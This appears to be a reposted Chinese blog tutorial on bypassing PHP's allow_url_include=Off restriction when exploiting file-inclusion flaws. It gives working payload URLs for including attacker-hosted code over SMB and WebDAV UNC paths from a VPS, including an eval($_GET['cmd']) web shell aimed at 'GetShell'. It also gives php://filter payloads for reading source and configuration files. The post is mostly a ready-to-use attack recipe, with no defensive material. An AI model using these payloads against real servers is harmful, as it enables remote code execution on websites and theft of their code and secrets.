php文件包含漏洞(allow_url_include=Off)的绕过方法
Posted dgjnszf
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php文件包含漏洞(allow_url_include=Off)的绕过方法相关的知识,希望对你有一定的参考价值。
分享几个当allow_url_include = Off时的文件包含漏洞的绕过方法。
假设服务端的php代码(aaa.php)如下图所示:
第1种:smb协议
Payload:http://127.0.0.1/aaa.php?path=\\\\43.5*.**.74\\ica\\abc1238.htm
这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器。
首先在VPS上搭建Samba服务,然后添加一个无需认证即可访问的共享目录,配置信息如下图所示:
然后在/home/share目录创建abc1238.htm文件,文件内容为:<?php phpinfo();?>
最后启动Samba服务,访问http://127.0.0.1/aaa.php?path=\\\\43.5*.**.74\\ica\\abc1238.htm即可绕过allow_url_include = Off的限制GetShell。
第2种:WebDAV
Payload:http://127.0.0.1/aaa.php?path=\\\\36.*8.**.74\\webdav\\code.htm&cmd=phpinfo();
这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器。
首先在VPS上搭建WebDAV环境,我是基于Ubuntu+Apache httpd搭建的WebDAV环境。
然后在WebDAV目录下创建code.htm文件,文件内容为:<?php eval($_GET[‘cmd‘]);?>
最后启动Apache httpd服务器,访问http://127.0.0.1/aaa.php?path=\\\\36.*8.**.74\\webdav\\code.htm&cmd=phpinfo();即可绕过allow_url_include = Off的限制GetShell。
第3种:php://filter/
利用php://filter/不能直接GetShell,但可以读取网站php代码文件,然后进行代码分析。或读取网站配置文件等其他重要文件。
Payload:
http://127.0.0.1/aaa.php?path=php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/index.php
http://192.168.56.130/aaa.php?path=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php
执行上述Payload会将D:/phpStudy/WWW/drupal-7.54/index.php文件以base64编码形式返回。
这种方法在Linux和Windows服务器都可以。
这几种绕过方法都是从大佬那里偷师学艺学来的,附带参考链接:
https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx
https://www.cnblogs.com/iamstudy/articles/include_file.html
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
以上是关于php文件包含漏洞(allow_url_include=Off)的绕过方法的主要内容,如果未能解决你的问题,请参考以下文章
PHP文件包含漏洞攻防实战(allow_url_fopenopen_basedir)